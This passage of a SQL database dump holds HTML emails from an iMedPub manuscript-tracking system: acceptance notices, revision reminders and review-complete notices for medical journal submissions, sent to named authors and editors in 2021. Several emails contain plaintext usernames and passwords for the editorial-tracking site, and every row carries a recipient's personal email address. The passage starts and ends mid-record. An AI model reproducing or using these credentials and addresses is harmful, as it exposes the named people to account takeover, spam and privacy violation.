that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-08-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ag.sisay@gmail.com',9934,'2021-08-23',48),(3657,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-9517</b><br />\r\n            <br />\r\n            Article Title: <b>Leiomyosarcoma of Uterus: a rare diagnosis</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Paudel</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipaom-21-9517</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivesofmedicine.com/\">https://www.archivesofmedicine.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>palak</b><br />\r\n            Password : <b>SyVhf4jr</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','palakpaudel@gmail.com',9517,'2021-08-24',85),(3659,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-10142</b><br />\r\n            <br />\r\n            Article Title: <b>Dental caries and oral health status in Georgian autistic patients</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sabashvili</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-08-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','maka.sabashvili@yahoo.com',10142,'2021-08-24',48),(3666,'<p>Ref.:  Ms. No. : <b>ipaom-21-9517</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Leiomyosarcoma of Uterus: a rare diagnosis</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Paudel</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-9517</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>palak</b><br />\r\npassword: <b>SyVhf4jr</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','palakpaudel@gmail.com',9517,'2021-08-25',85),(3668,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-9519</b><br />\r\n            <br />\r\n            Article Title: <b>Low Cost Simulation Experience During COVID-19 Pandemic </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Alotaibi</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-08-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ohud.otb90@gmail.com',9519,'2021-08-26',48),(3672,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-10142</b><br />\r\n            <br />\r\n            Article Title: <b>Dental caries and oral health status in Georgian autistic patients</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sabashvili</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-08-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','maka.sabashvili@yahoo.com',10142,'2021-08-26',48),(3676,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-10192</b><br />\r\n            <br />\r\n            Article Title: <b>Engine Room of Modern Biomedical Science </b><br />\r\n            <br />\r\n            Corresponding Author: <b>James James</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjbs-21-10192</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','sekharsudhansu@hotmail.com',10192,'2021-08-28',988),(3677,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-10192</b><br />\r\n            <br />\r\n            Article Title: <b>Engine Room of Modern Biomedical Science </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>James</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-08-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','kelvinjam@gmail.com',10192,'2021-08-28',988),(3678,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-10192</b><br />\r\n            <br />\r\n            Article Title: <b>Engine Room of Modern Biomedical Science </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>James</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-08-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','kelvinjam@gmail.com',10192,'2021-08-28',988),(3684,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-10028</b><br />\r\n            <br />\r\n            Article Title: <b>Prevalence Of Iron Deficiency Anemia And Associated Factors Among Pregnant Women Attending Antenatal Care Follow Up At Dodola General Hospital West Arsi Zone Oromia Region South East  Ethiopia  </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Tilahun Wanamo</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Mohammad </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-10028</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> azizur_rahman<br />\r\n            <b>Password:</b> TvoCB74a<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','mohammadrahmandr@gmail.com',10028,'2021-08-31',85),(3686,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-9397</b><br />\r\n            <br />\r\n            Article Title: <b>EPITHELIAL AND CONNECTIVE TISSUE CHANGES IN ORAL SUBMUCOUS FIBROSIS &acirc;&euro;&ldquo; A MORPHOMETRIC ANALYSIS</b><br />\r\n            <br />\r\n            Journal Title: <b>Annals of Clinical and Laboratory Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Fekry Abdelwahab</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaclr-21-9397</b> for the <b>Annals of Clinical and Laboratory Research</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','sayed.awahab@mu.edu.eg',9397,'2021-09-01',984),(3687,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-10028</b><br />\r\n            <br />\r\n            Article Title: <b>Prevalence Of Iron Deficiency Anemia And Associated Factors Among Pregnant Women Attending Antenatal Care Follow Up At Dodola General Hospital West Arsi Zone Oromia Region South East  Ethiopia  </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Wanamo</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-08-31</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','tilahunjimma2008@gmail.com',10028,'2021-09-01',85),(3696,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8837</b><br />\r\n            <br />\r\n            Article Title: <b>S&Atilde;NDROME CORONARIO AGUDO SECUNDARIO A ENFERMEDAD DEL TRONCO CORONARIO IZQUIERDO</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Jose isidro Gomez Asis</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Menendez</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipadm-21-8837</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> manuel<br />\r\n            <b>Password:</b> N8lH9Cn1<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','menendezmanuel@gmail.com',8837,'2021-09-03',274),(3697,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8837</b><br />\r\n            <br />\r\n            Article Title: <b>S&Atilde;NDROME CORONARIO AGUDO SECUNDARIO A ENFERMEDAD DEL TRONCO CORONARIO IZQUIERDO</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Gomez Asis</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-03</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','juancho251997@hotmail.com',8837,'2021-09-03',274),(3698,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-9973</b><br />\r\n            <br />\r\n            Article Title: <b>Determinants of Treatment Failure among New Smear Positive Pulmonary Tuberculosis Patients, North West Ethiopia: A case-control study</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mekonnen</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-03</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','simenehmekonnen7@gmail.com',9973,'2021-09-03',48),(3700,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-10101</b><br />\r\n            <br />\r\n            Article Title: <b>Outline of nerve bladder and its infection</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Jefferson </b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjbs-21-10101</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','sekharsudhansu@hotmail.com',10101,'2021-09-04',988),(3701,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-10101</b><br />\r\n            <br />\r\n            Article Title: <b>Outline of nerve bladder and its infection</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-04</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','son@gmail.com',10101,'2021-09-04',988),(3702,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-10100</b><br />\r\n            <br />\r\n            Article Title: <b>To defeat of malignant growth. </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>John</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-04</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','franklin@gmail.com',10100,'2021-09-04',988),(3703,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-9397</b><br />\r\n            <br />\r\n            Article Title: <b>EPITHELIAL AND CONNECTIVE TISSUE CHANGES IN ORAL SUBMUCOUS FIBROSIS &acirc;&euro;&ldquo; A MORPHOMETRIC ANALYSIS</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.aclr.com.es/\" target=\"_blank\">Annals of Clinical and Laboratory Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>P</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Annals of Clinical and Laboratory Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-04</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@galleyproofs.com\">accounting@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','nitheash.p46@gmail.com',9397,'2021-09-04',984),(3704,'<p>Ref.:  Ms. No. : <b>ipaom-21-9517</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Leiomyosarcoma of Uterus: a rare diagnosis</b><br 